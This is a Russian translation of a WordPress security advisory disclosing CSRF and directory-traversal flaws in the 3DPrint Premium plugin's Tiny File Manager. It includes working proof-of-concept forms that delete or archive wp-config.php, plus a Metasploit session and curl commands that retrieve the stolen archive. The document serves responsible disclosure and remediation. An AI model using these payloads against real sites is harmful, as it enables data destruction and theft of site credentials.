Уязвимости, обнаруженные в плагине 3DPrint Premium
Опубликовано: 2022-12-13Премиум-версия плагина WordPress 3DPrint уязвима для подделки межсайтовых запросов (CSRF) и атак с обходом каталогов, когда включена функция файлового менеджера. Эти уязвимости позволяют злоумышленнику удалять или получать доступ к произвольным файлам и каталогам на уязвимых сайтах, включая конфиденциальные файлы, такие как файлы конфигурации сайта, что опять же может привести к полному захвату сайта.
Недавно, просматривая некоторые потенциальные ложные срабатывания, отмеченные нашими экспериментальными сигнатурами, мы обнаружили некоторый код, который озадачил нас в премиум-плагине 3DPrint.
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
Этот фрагмент был найден в модуле PHP Tiny File Manager, расположенном в каталоге include плагина, но не найден в исходном проекте Tiny File Manager. Похоже, он был введен с намерением интегрировать его с элементами управления доступом на основе ролей WordPress.
Загрузка таких файлов кода WordPress в несвязанный модуль обычно является признаком того, что что-то не так, поэтому мы решили продолжить расследование.
Внимательный читатель заметит, что доступ к модулю ограничен пользователями с ролью Администратор, но проверки одноразовых номеров нет. Это было бы нормально, если бы Tiny File Manager имел собственную защиту от CSRF, но поскольку это не так, похоже, что этот код может быть подвержен атаке CSRF. (С тех пор Tiny File Manager добавил защиту от CSRF после того, как мы сообщили им об этой проблеме. Версия 2.5.0 и более поздние должны быть намного безопаснее в использовании!)
Усложняющим фактором является то, что Tiny File Manager не входит в пакет при установке 3DPrint Premium, а загружается по запросу при активации. На момент написания была загружена версия 2.4.4, но она была сильно изменена разработчиками 3DPrint и загружается из их домена, а не напрямую из репозиториев Tiny File Manager.
Большинство внесенных изменений удаляют функциональность, не используемую плагином, а также несколько других изменений, таких как жесткое кодирование пути, ограничивающее то, к чему должен иметь доступ файловый менеджер. Кроме того, функции аутентификации и авторизации, встроенные в Tiny File Manager, были отключены и заменены вышеупомянутой интеграцией с ролевой системой WordPress.
Мы обнаружили несколько уязвимостей, в которых комбинация модифицированных элементов управления доступом и включения Tiny File Manager в плагин 3DPrint становится доступной для злоумышленника извне. Это включает в себя удаление или загрузку конфиденциальных файлов, что может привести к полному захвату сайта. Эти уязвимости используют отсутствие проверок одноразовых номеров в модифицированных элементах управления доступом, а также уязвимости обхода каталогов в самом Tiny File Manager.
Мы пытались связаться с поставщиком плагина 3DPrint и проекта Tiny File Manager. Из них только разработчики проекта Tiny File Manager ответили нам и исправили проблемы, которые мы им отправили.
Ознакомьтесь с нашим новым WAF как частью Jetpack Scan, который защитит от этих атак из коробки. В настоящее время это бета-версия. Jetpack Scan также обнаружит уязвимый компонент и поможет его удалить.
Поскольку модуль Tiny File Manager загружается и устанавливается по запросу, не обязательно соответствие между версией подключаемого модуля и используемой версией Tiny File Manager. Однако после установки, похоже, нет простого способа обновить модуль Tiny File Manager, кроме его удаления вручную и повторной активации.
По этой причине мы считаем, что все версии 3DPrint уязвимы для перечисленных ниже уязвимостей, если файловый менеджер был активирован.
Уязвимости
1. CSRF, приводящий к произвольному удалению файла/каталога
- Плагин: 3DPrint
- Слаг плагина: 3dprint
- URI плагина: http://www.wp3dprinting.com/2015/07/29/changelog/
- Уязвимые версии: все
- Исправленная версия: нет
- Оценка CVSS: 8,2 (высокая, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- CVE: CVE-2022-3899
Функция массового удаления во включенной версии Tiny File Manager (версия 2.4.4) не имеет должной защиты от обхода каталогов, а также не имеет защиты от CSRF. Это позволяет злоумышленнику заставить администратора рекурсивно удалить несколько файлов или даже каталогов на сервере.
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
Это можно использовать, передав параметры group
и delete
POST в любое значение и передав массив файлов/каталогов для удаления в параметре file
. Переменная $new_path
представляет собой простую конкатенацию FM_ROOT_PATH
и переданного имени файла, переданного функции рекурсивного удаления fm_rdelete()
. Поскольку fm_rdelete()
не выполняет никакой проверки заданных им путей, это делает этот код уязвимым для атаки с обходом каталога.
Вот пример подтверждения концепции:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
Все пути указаны относительно каталога wp-content/uploads/p3d/
на сервере. Когда любой вошедший в систему администратор нажимает кнопку, чтобы разбогатеть, его загрузки с 2020 года будут удалены вместе с файлом сайтов wp-config.php
.
2. CSRF приводит к произвольным загрузкам
- Плагин: 3DPrint
- Слаг плагина: 3dprint
- URI плагина: http://www.wp3dprinting.com/2015/07/29/changelog/
- Уязвимые версии: все
- Исправленная версия: нет
- Оценка CVSS: 7,4 (высокая, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE: CVE-2022-4023
Функциональность включенной версии Tiny File Manager (версия 2.4.4) для загрузки zip- или tar-архива выбранных файлов не защищена от обхода каталога и не имеет защиты CSRF. Это позволяет злоумышленнику обманом заставить администратора создать zip- или tar-архив с произвольными файлами и каталогами с сайта, включая файлы конфигурации или другое конфиденциальное содержимое.
Архив помещается в обычный каталог загрузки 3DPring, wp-content/uploads/p3d/
. Злоумышленник лишь частично контролирует имя файла, но оно достаточно предсказуемо, чтобы его было относительно легко взломать методом грубой силы. Если они знают, в какое время был отправлен поддельный запрос, сделать обоснованное предположение также не составит труда.
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
При отправке почтового запроса с group
и переменной zip
или tar
, установленной в любое значение, будет создан архив с файлами, указанными в параметре file
. Текущая дата и время будут добавлены к имени файла архива, который будет иметь то же базовое имя, что и заархивированный файл, или «архив», если несколько файлов заархивированы вместе. Архив будет создан в каталоге загрузки 3DPrint, но пути к файлам не будут очищены и могут содержать пути за пределами этого каталога, что делает его уязвимым для атак с обходом каталога.
Чтобы использовать эту уязвимость, мы создали простой модуль полезной нагрузки для Metasploit, который служит формой для самостоятельной отправки вредоносной полезной нагрузки на уязвимый сайт. Отправленная полезная нагрузка для подтверждения концепции:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Поскольку модуль Metasploit записывал отметку времени отправки формы, это позволяло легко угадать правильное имя файла для созданного архива.
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
Обратите внимание, как мы можем вывести имя файла сгенерированного архива из временной метки запроса. В этом случае контейнер сервера работает на один часовой пояс позже местного часового пояса.
Рекомендации
Поскольку версия установленного файлового менеджера не зависит от версии установленного плагина, мы не можем рекомендовать фиксированную версию плагина.
Мы также не нашли простого способа обновить модуль файлового менеджера, если новая версия будет выпущена позже.
По этой причине мы считаем все версии премиум-плагина 3DPrint уязвимыми, если включен компонент файлового менеджера.
Мы рекомендуем убедиться, что модуль файлового менеджера отключен, а файл удален с сайта.
Самый простой способ — удалить файл wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
если он существует.
Выводы
Все версии премиум-плагина 3DPrint уязвимы для атак CSRF и обхода каталогов, если на сайте включен модуль файлового менеджера. Это не влияет на бесплатную версию плагина, загруженную из репозитория плагинов WordPress.org.
В Jetpack мы прилагаем все усилия, чтобы ваши веб-сайты были защищены от подобных уязвимостей. Мы рекомендуем вам иметь план безопасности для вашего сайта, который включает сканирование вредоносных файлов и резервное копирование. Пакет Jetpack Security — это отличный вариант безопасности WordPress, обеспечивающий безопасность вашего сайта и посетителей. Этот продукт включает в себя сканирование вредоносных программ в режиме реального времени, резервное копирование сайтов, защиту от спама в комментариях и формах от Akismet, защиту от атак методом грубой силы и многое другое.
Кредиты
Исследование Харальда Эйлертсена с отзывами и исправлениями, предоставленными Бенедиктом Сингером, Робом Пью, Джен Суишер и командой Jetpack Scan.
График
- 08.09.2022: Нам стало известно о находке, и мы начали расследование.
- 2022-10-25: Впервые связались с поставщиком
- 01.11.2022: С поставщиком связались во второй раз по другому каналу.
- 08.11.2022: Обнаружена уязвимость массового удаления (CVE-2022-3899)
- 15.11.2022: Связались с разработчиками Tiny File Manager по поводу отсутствия защиты CSRF и уязвимостей обхода каталогов.
- 19 ноября 2022 г .: выпущен Tiny File Manager 2.5.0, исправляющий проблемы с CSRF, но не проблемы с обходом каталогов.
- 13.12.2022: Публичное раскрытие